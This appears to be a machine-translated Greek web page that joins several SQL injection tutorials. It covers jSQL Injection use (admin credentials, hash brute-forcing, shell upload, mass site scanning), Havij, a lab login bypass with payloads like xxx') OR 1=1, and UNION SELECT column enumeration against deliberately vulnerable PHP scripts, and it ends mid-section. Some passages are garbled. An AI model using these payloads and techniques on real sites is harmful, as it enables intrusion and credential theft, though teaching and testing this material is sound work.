SQL Injection μέσα και έξω. Οδηγίες για τη χρήση του jSQL Injection - ένα πολυλειτουργικό εργαλείο για την εύρεση και την εκμετάλλευση ενέσεων SQL στο Kali Linux Λήψη προγράμματος αναζήτησης sql injection

Εκτέλεση του ληφθέντος αρχείου διπλό κλικ(Πρέπει να έχουν εικονική μηχανή ).

3. Ανωνυμία κατά τον έλεγχο του ιστότοπου για ενέσεις SQL

Ρύθμιση Tor και Privoxy στο Kali Linux

[Ενότητα υπό ανάπτυξη]

Ρύθμιση Tor και Privoxy στα Windows

[Ενότητα υπό ανάπτυξη]

Ρυθμίσεις διακομιστή μεσολάβησης jSQL Injection

[Ενότητα υπό ανάπτυξη]

4. Έλεγχος της τοποθεσίας για ένεση SQL με jSQL Injection

Η εργασία με το πρόγραμμα είναι εξαιρετικά απλή. Απλώς πληκτρολογήστε τη διεύθυνση του ιστότοπου και πατήστε ENTER.

Το ακόλουθο στιγμιότυπο οθόνης δείχνει ότι ο ιστότοπος είναι ευάλωτος σε τρεις τύπους εγχύσεων SQL ταυτόχρονα (οι πληροφορίες σχετικά με αυτές υποδεικνύονται στην κάτω δεξιά γωνία). Κάνοντας κλικ στα ονόματα των ενέσεων, μπορείτε να αλλάξετε τη μέθοδο που χρησιμοποιείται:

Επίσης, έχουμε ήδη εμφανίσει τις υπάρχουσες βάσεις δεδομένων.

Μπορείτε να δείτε τα περιεχόμενα κάθε πίνακα:

Συνήθως, το πιο ενδιαφέρον μέρος των πινάκων είναι τα διαπιστευτήρια διαχειριστή.

Αν είστε τυχεροί και βρήκατε τα στοιχεία του διαχειριστή, τότε είναι πολύ νωρίς για να χαρείτε. Πρέπει επίσης να βρείτε τον πίνακα διαχείρισης, όπου θα εισαγάγετε αυτά τα δεδομένα.

5. Αναζήτηση για διαχειριστές με jSQL Injection

Για να το κάνετε αυτό, μεταβείτε στην επόμενη καρτέλα. Εδώ μας συναντά μια λίστα πιθανών διευθύνσεων. Μπορείτε να επιλέξετε μία ή περισσότερες σελίδες για έλεγχο:

Η ευκολία είναι ότι δεν χρειάζεται να χρησιμοποιήσετε άλλα προγράμματα.

Δυστυχώς, δεν υπάρχουν πολλοί απρόσεκτοι προγραμματιστές που αποθηκεύουν κωδικούς πρόσβασης σε καθαρό κείμενο. Αρκετά συχνά στη συμβολοσειρά κωδικού πρόσβασης βλέπουμε κάτι σαν

8743b52063cd84097a65d1633f5c74f5

Αυτό είναι χασίς. Μπορείτε να το αποκρυπτογραφήσετε με ωμή δύναμη. Και… Το jSQL Injection έχει ενσωματωμένο brute-forcer.

6. Κατακερματισμοί βίας εξαναγκασμού με jSQL Injection

Η αναμφισβήτητη ευκολία είναι ότι δεν χρειάζεται να αναζητήσετε άλλα προγράμματα. Υπάρχει υποστήριξη για πολλά από τα πιο δημοφιλή hashes.

Δεν είναι ότι καλύτερο καλύτερη επιλογή. Για να γίνετε γκουρού στην αποκρυπτογράφηση των hashes, συνιστάται το βιβλίο "" στα ρωσικά.

Αλλά, φυσικά, όταν δεν υπάρχει άλλο πρόγραμμα στη διάθεσή σας ή δεν υπάρχει χρόνος για μελέτη, το jSQL Injection με μια ενσωματωμένη λειτουργία brute-force θα σας φανεί χρήσιμο.

Υπάρχουν ρυθμίσεις: μπορείτε να ορίσετε ποιοι χαρακτήρες περιλαμβάνονται στον κωδικό πρόσβασης, το εύρος μήκους κωδικού πρόσβασης.

7. Λειτουργίες αρχείου μετά τον εντοπισμό ένεσης SQL

Εκτός από τις λειτουργίες με βάσεις δεδομένων - την ανάγνωση και την τροποποίησή τους, εάν εντοπιστούν ενέσεις SQL, μπορούν να εκτελεστούν οι ακόλουθες λειτουργίες αρχείων:

  • ανάγνωση αρχείων στον διακομιστή
  • μεταφόρτωση νέων αρχείων στον διακομιστή
  • ανέβασμα κελύφους στον διακομιστή

Και όλα αυτά υλοποιούνται στο jSQL Injection!

Υπάρχουν περιορισμοί - ο διακομιστής SQL πρέπει να έχει δικαιώματα αρχείων. Λογικός διαχειριστές συστήματοςείναι απενεργοποιημένα και έχουν πρόσβαση σε σύστημα αρχείωνδεν μπορεί να ληφθεί.

Η παρουσία προνομίων αρχείων είναι αρκετά εύκολο να ελεγχθεί. Μεταβείτε σε μία από τις καρτέλες (ανάγνωση αρχείων, δημιουργία κελύφους, αποστολή νέου αρχείου) και προσπαθήστε να εκτελέσετε μία από τις υποδεικνυόμενες λειτουργίες.

Μια άλλη πολύ σημαντική σημείωση - πρέπει να γνωρίζουμε την ακριβή απόλυτη διαδρομή προς το αρχείο με το οποίο θα εργαστούμε - διαφορετικά τίποτα δεν θα λειτουργήσει.

Δείτε το παρακάτω στιγμιότυπο οθόνης:

Οποιαδήποτε προσπάθεια λειτουργίας σε ένα αρχείο απαντάται από: Χωρίς προνόμιο FILE(χωρίς δικαιώματα αρχείου). Και εδώ δεν μπορεί να γίνει τίποτα.

Αν αντ 'αυτού έχετε άλλο σφάλμα:

Πρόβλημα εγγραφής στο [όνομα_καταλόγου]

Αυτό σημαίνει ότι προσδιορίσατε εσφαλμένα την απόλυτη διαδρομή όπου θέλετε να γράψετε το αρχείο.

Για να υποθέσει κανείς μια απόλυτη διαδρομή, πρέπει τουλάχιστον να γνωρίζει λειτουργικό σύστημαστον οποίο εκτελείται ο διακομιστής. Για να το κάνετε αυτό, μεταβείτε στην καρτέλα Δίκτυο.

Μια τέτοια καταχώρηση (string Win64) μας δίνει λόγους να υποθέσουμε ότι έχουμε να κάνουμε με λειτουργικό σύστημα Windows:

Keep-Alive: timeout=5, max=99 Διακομιστής: Apache/2.4.17 (Win64) PHP/7.0.0RC6 Σύνδεση: Keep-Alive Μέθοδος: HTTP/1.1 200 OK Content-Length: 353 Ημερομηνία: Παρ, 11 Δεκ 2 11:48:31 GMT X-Powered-By: PHP/7.0.0RC6 Τύπος περιεχομένου: text/html; σύνολο χαρακτήρων=UTF-8

Εδώ έχουμε μερικά Unix (*BSD, Linux):

Μεταφορά-Κωδικοποίηση: τεμαχισμένη Ημερομηνία: Παρ, 11 Δεκεμβρίου 2015 11:57:02 GMT Μέθοδος: HTTP/1.1 200 OK Keep-Alive: timeout=3, max=100 Σύνδεση: keep-alive Content-Type: text/html X- Τροφοδοτείται από: PHP/5.3.29 Διακομιστής: Apache/2.2.31 (Unix)

Και εδώ έχουμε το CentOS:

Μέθοδος: HTTP/1.1 200 OK Λήγει: Πέμ. 19 Νοεμβρίου 1981 08:52:00 GMT Set-Cookie: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; path=/ Σύνδεση: keep-alive X-Cache-Lookup: MISS από t1.hoster.ru:6666 Διακομιστής: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.4.37 X-Cache: MISS από t1.hoster.ru Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Ημερομηνία: Παρ, 11 Δεκεμβρίου 2015 12:08:54 GMT Μεταφορά-Κωδικοποίηση: τεμαχισμένο Περιεχόμενο-Τύπος: κείμενο/html; σύνολο χαρακτήρων=WINDOWS-1251

Στα Windows, ένας τυπικός φάκελος τοποθεσίας είναι C:\Διακομιστής\δεδομένα\htdocs\. Αλλά, στην πραγματικότητα, αν κάποιος «σκέφτηκε» να φτιάξει διακομιστή στα Windows, τότε, πολύ πιθανό, αυτό το άτομο δεν έχει ακούσει τίποτα για προνόμια. Επομένως, θα πρέπει να ξεκινήσετε να δοκιμάζετε απευθείας από τον κατάλογο C: / Windows /:

Όπως μπορείτε να δείτε, όλα πήγαν τέλεια την πρώτη φορά.

Αλλά τα ίδια τα κελύφη jSQL Injection εγείρουν τις αμφιβολίες μου. Εάν έχετε δικαιώματα αρχείου, τότε μπορεί κάλλιστα να ανεβάσετε κάτι με διεπαφή ιστού.

8. Μαζικός έλεγχος τοποθεσιών για ενέσεις SQL

Και ακόμη και η jSQL Injection έχει αυτή τη δυνατότητα. Όλα είναι εξαιρετικά απλά - ανεβάστε μια λίστα ιστότοπων (μπορεί να εισαχθεί από ένα αρχείο), επιλέξτε αυτούς που θέλετε να ελέγξετε και κάντε κλικ στο κατάλληλο κουμπί για να ξεκινήσει η λειτουργία.

Έξοδος με jSQL Injection

Το jSQL Injection είναι ένα καλό, ισχυρό εργαλείο για την εύρεση και στη συνέχεια τη χρήση ενέσεων SQL που βρίσκονται σε ιστότοπους. Τα αναμφισβήτητα πλεονεκτήματά του: ευκολία χρήσης, ενσωματωμένες σχετικές λειτουργίες. Το jSQL Injection μπορεί να είναι ο καλύτερος φίλος ενός αρχαρίου όταν αναλύει ιστότοπους.

Από τις ελλείψεις, θα σημειώσω την αδυναμία επεξεργασίας βάσεων δεδομένων (τουλάχιστον δεν βρήκα αυτή τη λειτουργικότητα). Όπως όλα τα όργανα με GUI, τα μειονεκτήματα αυτού του προγράμματος μπορούν να αποδοθούν στην αδυναμία χρήσης σε σενάρια. Ωστόσο, είναι δυνατή και σε αυτό το πρόγραμμα κάποιος αυτοματισμός - χάρη στην ενσωματωμένη λειτουργία μαζικού ελέγχου τοποθεσίας.

Το jSQL Injection είναι πολύ πιο βολικό στη χρήση από το sqlmap. Αλλά το sqlmap υποστηρίζει περισσότερα είδη SQL injection, έχει επιλογές τείχους προστασίας αρχείων και ορισμένες άλλες δυνατότητες.

Κατώτατη γραμμή: jSQL Injection - ο καλύτερος φίλοςαρχάριος χάκερ.

Μπορείτε να βρείτε βοήθεια για αυτό το πρόγραμμα στην Εγκυκλοπαίδεια Kali Linux σε αυτήν τη σελίδα: http://kali.tools/?p=706

Το Havij είναι ένα πρόγραμμα που χρησιμεύει στον έλεγχο για τρωτά σημεία του ιστότοπου. Τις περισσότερες φορές, χρησιμοποιείται όχι για τον κύριο σκοπό του, δηλαδή, για την εισαγωγή SQL injections. Εξαιτίας αυτού, το εργαλείο αναφέρεται συχνότερα ως λογισμικό "hacker".

Αρχή λειτουργίας

Με τη χρήση αυτή η αίτησηείναι δυνατό να πραγματοποιηθούν επιθέσεις σε μια υπηρεσία Ιστού προκειμένου να αλλάξει η έκφραση SQL με συνένωση. Εάν είναι επιτυχής, η ένεση σάς επιτρέπει να τροποποιήσετε τη λογική για την εκτέλεση ενός αιτήματος χρήστη για τις δικές σας ανάγκες. Συχνά, κατά τη διάρκεια μιας επίθεσης, δημιουργείται ένα απλό δακτυλικό αποτύπωμα (δακτυλικό αποτύπωμα) της βάσης δεδομένων, μετά το οποίο εισάγονται τα απαραίτητα δεδομένα από αυτήν, για παράδειγμα, μια βάση χρήστη ή μια βάση δεδομένων διαχειριστή. λογαριασμός. Παρουσία τρωτών σημείων, ένας αντίπαλος μπορεί ακόμη και να αλληλεπιδράσει με το τμήμα Back-end μιας εφαρμογής Ιστού. Συγκεκριμένα, μια τέτοια υλοποίηση καθιστά δυνατή την εκτέλεση των απαραίτητων εντολών στον διακομιστή ή την προβολή των απαραίτητων αρχείων στην πλευρά του κεντρικού υπολογιστή.

Δυνατότητες

Το Havij σάς δίνει τη δυνατότητα να αποθηκεύετε κατακερματισμούς κωδικών πρόσβασης και απόρριψη πινάκων. Το πρόγραμμα σάς επιτρέπει να εκτελείτε διάφορους τύπους εγχύσεων: ένεση SQL βάσει σφαλμάτων, έγχυση SQL ερωτήματος UNION, έγχυση SQL ερωτημάτων στοίβαξης, τυφλή έγχυση SQL βάσει χρόνου και τυφλή έγχυση SQL με βάση boolean. Το εργαλείο λειτουργεί με HTTPS και υποστηρίζει τα περισσότερα ΔΙΑΦΟΡΕΤΙΚΟΙ ΤΥΠΟΙ DBMS: MSAccess, MySQL, Oracle, PostgreSQ και ακόμη και Sybase. Εάν είναι απαραίτητο, ο Havij μπορεί να εργαστεί σε πολλά νήματα μέσω ενός διακομιστή μεσολάβησης.

Η σύνταξη του ενσωματωμένου κώδικα μπορεί να επεξεργαστεί "με το χέρι". Επίσης, πριν από την έναρξη της επίθεσης, επιτρέπεται η επιλογή μιας λίστας λέξεων-κλειδιών που αναζητήθηκαν, στηλών πίνακα ή τύπων δεδομένων (για παράδειγμα, ακέραιοι ή κλασματικοί αριθμοί).

Κατά τη λειτουργία, ο Havij διατηρεί ένα λεπτομερές αρχείο καταγραφής των λειτουργιών που εκτελούνται, το οποίο, μετά την ολοκλήρωση της επίθεσης, αποθηκεύεται στο φάκελο του προγράμματος. Η διεπαφή της εφαρμογής είναι αρκετά διαισθητική και όλα τα κύρια στοιχεία ελέγχου εδώ χωρούν σε ένα παράθυρο.

Βασικά χαρακτηριστικά

  • Εκτέλεση ενέσεων SQL με την επιθυμητή σύνταξη.
  • υποστήριξη για διάφορες επιλογές υλοποίησης·
  • αναζήτηση για τρωτά σημεία σε ιστότοπους και εφαρμογές.
  • ευκαιρία να συνεργαστείτε διάφοροι τύποι DBMS;
  • υποστήριξη για πρωτόκολλο HTTPS και διακομιστή μεσολάβησης.

Η ένεση SQL είναι μια επίθεση που χρησιμοποιεί δυναμικές εντολές SQL σχολιάζοντας ορισμένα μέρη των δηλώσεων ή προσθέτοντας μια συνθήκη που θα είναι πάντα αληθής. Στοχεύει τρύπες στην αρχιτεκτονική εφαρμογών ιστού και χρησιμοποιεί δηλώσεις SQL για την εκτέλεση κακόβουλου κώδικα SQL:

Σε αυτό το άρθρο, θα εξετάσουμε τις μεθόδους που χρησιμοποιούνται στην έγχυση SQL και τον τρόπο προστασίας των εφαρμογών web από τέτοιες επιθέσεις.

Πώς λειτουργεί η ένεση SQL

Οι τύποι επιθέσεων που μπορούν να εκτελεστούν χρησιμοποιώντας την έγχυση SQL διαφέρουν ως προς τον τύπο των μηχανών βάσης δεδομένων που επηρεάζονται. Η επίθεση στοχεύει δυναμικές δηλώσεις SQL. Μια δυναμική δήλωση είναι μια δήλωση που δημιουργείται κατά το χρόνο εκτέλεσης με βάση παραμέτρους από μια φόρμα ιστού ή μια συμβολοσειρά ερωτήματος URI.

Σκεφτείτε μια απλή διαδικτυακή εφαρμογή με φόρμα σύνδεσης. Ο κώδικας φόρμας HTML φαίνεται παρακάτω:

  • Η φόρμα δέχεται μια διεύθυνση email και στη συνέχεια αποστέλλεται ο κωδικός πρόσβασης αρχείο PHPμε όνομα index.php ;
  • Η συνεδρία αποθηκεύεται σε κουλουράκι. Αυτή η δυνατότητα ενεργοποιείται ορίζοντας τη σημαία memory_me. Η μέθοδος ανάρτησης χρησιμοποιείται για την αποστολή δεδομένων. Αυτό σημαίνει ότι οι τιμές δεν εμφανίζονται στη διεύθυνση URL.

Ας υποθέσουμε ότι το αίτημα για επικύρωση του αναγνωριστικού χρήστη από την πλευρά του διακομιστή είναι το εξής:

  • Το αίτημα χρησιμοποιεί τις τιμές του πίνακα $_POST απευθείας χωρίς να τον απολυμαίνει.
  • Ο κωδικός πρόσβασης κρυπτογραφείται χρησιμοποιώντας τον αλγόριθμο MD5.

Θα εξετάσουμε μια επίθεση χρησιμοποιώντας SQL injection sqlfiddle. Ανοίξτε τη διεύθυνση URL http://sqlfiddle.com/ στο πρόγραμμα περιήγησής σας. Το παρακάτω παράθυρο θα εμφανιστεί στην οθόνη.

Σημείωση: Θα χρειαστεί να γράψετε δηλώσεις SQL:

Βήμα 1. Εισαγάγετε αυτόν τον κωδικό στον αριστερό πίνακα:

CREATE TABLE `users` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)); εισαγάγετε τιμές στους χρήστες (email, κωδικός πρόσβασης) (" [email προστατευμένο]",md5("abc"));

Βήμα 2. Κάντε κλικ στο " Δημιουργία σχήματος».
Βήμα 3: Εισαγάγετε τον παρακάτω κωδικό στο δεξιό παράθυρο:

επιλέξτε * από τους χρήστες.

Βήμα 4. Κάντε κλικ στο " Εκτελέστε SQL". Θα δείτε το ακόλουθο αποτέλεσμα:

Ας υποθέσουμε ότι ο χρήστης παρέχει μια διεύθυνση email [email προστατευμένο]και 1234 ως κωδικός πρόσβασης. Το ερώτημα που θα εκτελεστεί στη βάση δεδομένων μπορεί να μοιάζει με αυτό:

Το παραπάνω παράδειγμα κώδικα έγχυσης SQL μπορεί να παρακαμφθεί σχολιάζοντας μέρος του κωδικού πρόσβασης και προσθέτοντας μια συνθήκη που θα είναι πάντα αληθής. Ας υποθέσουμε ότι ένας εισβολέας αντικαθιστά τα ακόλουθα δεδομένα στο πεδίο διεύθυνσης email:

[email προστατευμένο]" Ή 1 = 1 ΟΡΙΟ 1 -- " ]

και xxx στο πεδίο κωδικού πρόσβασης.

Η δημιουργημένη δυναμική δήλωση θα μοιάζει με αυτό:

  • [email προστατευμένο]τελειώνει με ένα μόνο εισαγωγικό που τελειώνει τη συμβολοσειρά.
  • Ή 1 = 1 ΟΡΙΟ 1 είναι μια συνθήκη που θα ισχύει πάντα, περιορίζει τα επιστρεφόμενα αποτελέσματα σε μία μόνο εγγραφή.

0; Το AND… είναι ένα σχόλιο SQL που αποκλείει μέρος του κωδικού πρόσβασης.

Αντιγράψτε το παραπάνω ερώτημα και επικολλήστε το στο πλαίσιο κειμένου FiddleRun SQL SQL όπως φαίνεται παρακάτω:

Δραστηριότητα χάκερ: Ενέσεις SQL σε διαδικτυακές εφαρμογές

Διαθέτουμε μια απλή διαδικτυακή εφαρμογή στη διεύθυνση http://www.techpanda.org/ που είναι ειδικά ευάλωτη σε επιθέσεις SQL injection για αρχάριους για σκοπούς επίδειξης. Ο παραπάνω κώδικας φόρμας HTML λαμβάνεται από τη σελίδα εξουσιοδότησης αυτής της εφαρμογής.

Παρέχει βασική ασφάλεια, όπως η απολύμανση ενός πεδίου email. Αυτό σημαίνει ότι ο παραπάνω κώδικας δεν μπορεί να χρησιμοποιηθεί για την παράκαμψη αυτού του μηχανισμού.

Για να το παρακάμψετε, μπορείτε να χρησιμοποιήσετε το πεδίο κωδικού πρόσβασης. Το παρακάτω διάγραμμα δείχνει τα βήματα που πρέπει να ακολουθήσετε:

Ας υποθέσουμε ότι ένας εισβολέας παρέχει τα ακόλουθα δεδομένα:

Βήμα 1: Εισαγωγή [email προστατευμένο]ως διεύθυνση email?
Βήμα 2 : Εισαγάγετε xxx') Ή 1 = 1 - ] ;

Πατήστε το κουμπί "Υποβολή".

Θα κατευθυνθεί στον πίνακα διαχείρισης. Το αίτημα που δημιουργείται θα μοιάζει με αυτό:

Το παρακάτω διάγραμμα δείχνει πώς δημιουργήθηκε το αίτημα:

Εδώ:

  • Το αίτημα προϋποθέτει ότι χρησιμοποιείται κρυπτογράφηση md5.
  • Χρησιμοποιείται ένα μονό εισαγωγικό και παρένθεση.
  • Προστίθεται μια συνθήκη στον τελεστή που θα είναι πάντα αληθής.

Κατά κανόνα, για να επιτύχουν τους στόχους τους, οι εισβολείς προσπαθούν να χρησιμοποιήσουν πολλές διαφορετικές μεθόδους σε μια επίθεση SQL injection.

Άλλοι τύποι επιθέσεων SQL Injection

Οι ενέσεις SQL μπορούν να προκαλέσουν πολύ μεγαλύτερη ζημιά από το να συνδεθείτε παρακάμπτοντας τον μηχανισμό εξουσιοδότησης. Μερικές από αυτές τις επιθέσεις μπορούν:

  • Εκτελέστε διαγραφή δεδομένων.
  • Εκτελέστε ενημέρωση δεδομένων.
  • Εκτελέστε προσθήκη δεδομένων.
  • Εκτελέστε εντολές στον διακομιστή που θα κατεβάσει και θα εγκαταστήσει κακόβουλο λογισμικό.
  • Πραγματοποιήστε εξαγωγή στον απομακρυσμένο διακομιστή του εισβολέα πολύτιμων δεδομένων, όπως λεπτομέρειες πιστωτική κάρτα, ΗΛΕΚΤΡΟΝΙΚΗ ΔΙΕΥΘΥΝΣΗκαι κωδικούς πρόσβασης.

Η παραπάνω λίστα δεν είναι πλήρης. Απλώς δίνει μια ιδέα για το πόσο επικίνδυνες είναι οι ενέσεις SQL.

SQL Injection Automation Tools

Στο παραπάνω παράδειγμα, χρησιμοποιήσαμε μεθόδους χειροκίνητης επίθεσης. Πριν κάνετε την ένεση SQL, πρέπει να καταλάβετε ότι υπάρχουν αυτοματοποιημένα εργαλεία που σας επιτρέπουν να εκτελείτε επιθέσεις πιο αποτελεσματικά και πιο γρήγορα:

  • SQLSmack ;
  • SQLPing 2 ;
  • SQLMap.

Πώς να αποτρέψετε τις ενέσεις SQL

Εδώ είναι μερικά απλούς κανόνες, που θα σας επιτρέψει να προστατευθείτε από επιθέσεις SQL injection:

Η εισαγωγή χρήστη δεν πρέπει να είναι αξιόπιστη. Πρέπει πάντα να απολυμαίνεται πριν χρησιμοποιηθούν τα δεδομένα σε δυναμικές λειτουργίες SQL.

Αποθηκευμένες διαδικασίες- Μπορούν να ενσωματώσουν ερωτήματα SQL και να επεξεργαστούν όλα τα δεδομένα εισόδου ως παραμέτρους.

Έτοιμα ερωτήματα- πρώτα δημιουργούνται αιτήματα και στη συνέχεια όλα τα παρεχόμενα δεδομένα χρήστη υποβάλλονται σε επεξεργασία ως παράμετροι. Αυτό δεν επηρεάζει τη σύνταξη της πρότασης SQL.

Κανονικές εκφράσεις— μπορεί να χρησιμοποιηθεί για πιθανή ανίχνευση κακόβουλος κώδικαςκαι να το αφαιρέσετε πριν από την εκτέλεση εντολών SQL.

Δικαιώματα πρόσβασης για σύνδεση στη βάση δεδομένων- προς την προστασία από ενέσεις SQL, στους λογαριασμούς που χρησιμοποιούνται για τη σύνδεση με τη βάση δεδομένων θα πρέπει να παραχωρούνται μόνο τα απαιτούμενα δικαιώματα πρόσβασης. Αυτό θα βοηθήσει στον περιορισμό των ενεργειών που μπορούν να εκτελέσουν οι δηλώσεις SQL στον διακομιστή.

Μηνύματα σφάλματος- δεν πρέπει να αποκαλύπτονται εμπιστευτικές πληροφορίες. Απλά προσαρμοσμένα μηνύματα σφάλματος όπως " Λυπούμαστε, υπήρξε τεχνικό σφάλμα. Η υποστήριξη έχει ήδη ειδοποιηθεί σχετικά. Παρακαλώ δοκιμάστε ξανά αργότερα' μπορεί να χρησιμοποιηθεί αντί για την εμφάνιση των ερωτημάτων SQL που προκάλεσαν το σφάλμα.

Χαιρετισμούς αναγνώστη. Τον τελευταίο καιρό, ασχολήθηκα με την ασφάλεια Ιστού και σε κάποιο βαθμό η δουλειά σχετίζεται με αυτό. Επειδή Όλο και πιο συχνά άρχισα να παρατηρώ θέματα σε διάφορα φόρουμ, με αίτημα να δείξω πώς λειτουργούν όλα, αποφάσισα να γράψω ένα άρθρο. Το άρθρο θα σχεδιαστεί για όσους δεν το έχουν συναντήσει, αλλά θα ήθελαν να μάθουν. Υπάρχουν σχετικά πολλά άρθρα στο διαδίκτυο σχετικά με αυτό το θέμα, αλλά για αρχάριους είναι λίγο περίπλοκα. Θα προσπαθήσω να περιγράψω τα πάντα με ξεκάθαρη γλώσσα και λεπτομερή παραδείγματα.

Πρόλογος

Για να κατανοήσετε αυτό το άρθρο, δεν χρειάζεστε πραγματικά γνώση SQL, αλλά τουλάχιστον καλή υπομονή και λίγο μυαλό - για απομνημόνευση.

Πιστεύω ότι μια ανάγνωση του άρθρου δεν θα είναι αρκετή, γιατί. χρειαζόμαστε ζωντανά παραδείγματα - όπως γνωρίζετε, η πρακτική, στη διαδικασία της απομνημόνευσης, δεν είναι περιττή. Επομένως, θα γράψουμε ευάλωτα σενάρια και θα εκπαιδεύσουμε σε αυτά.

Τι είναι η ένεση SQL;
ομιλία απλή γλώσσαείναι μια επίθεση στη βάση δεδομένων που θα σας επιτρέψει να εκτελέσετε κάποια ενέργεια που δεν είχε προγραμματιστεί από τον δημιουργό του σεναρίου. Παράδειγμα πραγματικής ζωής:

Ο πατέρας έγραψε σε ένα σημείωμα στη μητέρα του ότι έδωσε στη Βάσια 100 ρούβλια και τα έβαλε στο τραπέζι. Ξαναδουλεύοντας αυτό σε μια γλώσσα αστείου SQL, παίρνουμε:
ΠΑΡΕ 100 ΡΟΥΠΛΙΑ ΑΠΟ ΤΟ ΠΟΡΤΟΦΟΛΙ ΣΟΥ ΚΑΙ ΔΩΣΕ ΤΑ ΣΤΗ Βάσια

Δεδομένου ότι ο πατέρας έγραψε το σημείωμα άσχημα (Αδέξια γραφή) και το άφησε στο τραπέζι, ο αδερφός της Βάσια, Πέτυα, την είδε. Ο Petya, ως χάκερ, πρόσθεσε το "OR Petya" εκεί και έλαβε το ακόλουθο αίτημα:
ΠΑΡΤΕ 100 ΡΟΥΒΒΛΑ ΑΠΟ ΤΟ ΠΟΡΤΟΦΟΛΙ ΣΑΣ ΚΑΙ ΔΩΣΤΕ ΤΑ ΣΤΗ ΒΑΣΙΑ Ή ΣΤΗΝ ΠΕΤΥΑ

Η μαμά, έχοντας διαβάσει το σημείωμα, αποφάσισε ότι είχε δώσει χρήματα στη Βάσια χθες και έδωσε 100 ρούβλια στην Πέτια. Εδώ είναι ένα απλό παράδειγμα έγχυσης SQL από την πραγματική ζωή :) Χωρίς να φιλτράρει τα δεδομένα (η μαμά μετά βίας μπορούσε να διακρίνει το χειρόγραφο), η Petya έκανε κέρδος.

Παρασκευή
Για εξάσκηση, θα χρειαστείτε ένα αρχείο με τα σενάρια πηγής για αυτό το άρθρο. Κατεβάστε το και αποσυμπιέστε το στον διακομιστή. Εισαγάγετε επίσης τη βάση δεδομένων και ορίστε τα δεδομένα στο αρχείο cfg.php

Αναζήτηση με ένεση SQL

Όπως ήδη καταλάβατε, η ένεση προέρχεται από εισερχόμενα δεδομένα που δεν φιλτράρονται. Το πιο συνηθισμένο λάθος είναι ότι δεν φιλτράρετε το αναγνωριστικό που έχει περάσει. Λοιπόν, χονδρικά μιλώντας, αντικαταστήστε τα εισαγωγικά σε όλους τους τομείς. Είτε πρόκειται για αίτημα GET/POST είτε ακόμα και για Cookie!

Αριθμητική παράμετρος εισαγωγής
Για εξάσκηση χρειαζόμαστε ένα σενάριο index1.php. Όπως είπα παραπάνω, αντικαθιστούμε εισαγωγικά στο αναγνωριστικό ειδήσεων.

Επειδή Το αίτημά μας δεν έχει φιλτράρισμα:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Το σενάριο θα το καταλάβει ως

SELECT * FROM news WHERE id=1"

Και θα μας δώσει ένα σφάλμα:
Προειδοποίηση: η mysql_fetch_array() αναμένει ότι η παράμετρος 1 θα είναι πόρος, ο boolean δίνεται στο C:\WebServ\domains\sqlinj\index1.php στη γραμμή 16

Εάν δεν υπάρχει σφάλμα, μπορεί να υπάρχουν οι ακόλουθοι λόγοι:

1.Η ένεση SQL δεν είναι εδώ - Οι προσφορές φιλτράρονται ή απλώς μια μετατροπή σε (int)
2. Απενεργοποιημένη έξοδος σφάλματος.

Αν παρ 'όλα αυτά έχει συμπεράνει ένα λάθος - Hurrah! Βρήκαμε το πρώτο είδος SQL injection - Numeric input parameter.

Παράμετρος εισαγωγής συμβολοσειράς

Τα αιτήματα θα σταλούν στο index2.php. ΣΕ δεδομένο αρχείο, το αίτημα μοιάζει με:
$user = $_GET["χρήστης"]; $query = "SELECT * FROM news WHERE user="$user"";

Εδώ κάνουμε μια επιλογή ειδήσεων με όνομα χρήστη και πάλι - μην φιλτράρετε.
Και πάλι στέλνουμε ένα αίτημα με μια προσφορά:

Έδωσε ένα σφάλμα. ΕΝΤΑΞΕΙ! Άρα υπάρχει μια ευπάθεια. Αυτό είναι αρκετό για να ξεκινήσουμε - ας ξεκινήσουμε την πρακτική.

Ας αναλάβουμε δράση

Λίγη θεωρία

Μάλλον δεν μπορείτε να περιμένετε να εξαγάγετε κάτι από αυτό, εκτός από σφάλματα. Πρώτα, καταλάβετε ότι το σημάδι " -- " θεωρείται σχόλιο στο Γλώσσα SQL.

ΠΡΟΣΟΧΗ! Πρέπει να υπάρχουν κενά πριν και μετά. Στη διεύθυνση URL μεταβιβάζονται ως %20

Ό,τι έρχεται μετά το σχόλιο θα απορριφθεί. Δηλαδή, το αίτημα:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Εκτελέστε με επιτυχία. Μπορείτε να το δοκιμάσετε στο σενάριο index2.php στέλνοντας ένα αίτημα όπως αυτό:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Μάθετε την παράμετρο ΕΝΩΣΗ. Σε γλώσσα SQL λέξη-κλειδί ΕΝΩΣΗχρησιμοποιείται για να συνδυάσει τα αποτελέσματα δύο ερωτημάτων SQL σε έναν ενιαίο πίνακα. Δηλαδή για να βγάλουμε κάτι που χρειαζόμαστε από άλλο τραπέζι.

Αυτό το εκμεταλλευόμαστε

Εάν η παράμετρος είναι "Αριθμητική", τότε στο αίτημα δεν χρειάζεται να στείλουμε προσφορά και φυσικά να βάλουμε ένα σχόλιο στο τέλος. Επιστροφή στο σενάριο index1.php.

Ας στραφούμε στο σενάριο sqlinj/index1.php?id=1 UNION SELECT 1 . Το ερώτημα της βάσης δεδομένων μας μοιάζει με αυτό:
ΕΠΙΛΟΓΗ * ΑΠΟ ειδήσεις WHERE id=1 UNION SELECT 1
Και μας έκανε λάθος, γιατί. για να δουλέψουμε με τη συγκέντρωση ερωτημάτων, χρειαζόμαστε τον ίδιο αριθμό πεδίων.

Επειδή Εφόσον δεν μπορούμε να επηρεάσουμε τον αριθμό τους στο πρώτο ερώτημα, πρέπει να επιλέξουμε τον αριθμό τους στο δεύτερο, ώστε να είναι ίσος με τον πρώτο.

Επιλέγουμε τον αριθμό των πεδίων

Η επιλογή των πεδίων είναι πολύ απλή, απλώς στείλτε τα ακόλουθα αιτήματα:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Λάθος…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Πάλι λάθος!
sqlinj/index1.php?id=1 ΕΠΙΛΟΓΗ ΕΝΩΣΗΣ 1,2,3,4,5
Δεν υπάρχει κανένα λάθος! Άρα ο αριθμός των στηλών είναι 5.

ΟΜΑΔΑ ΑΠΟ
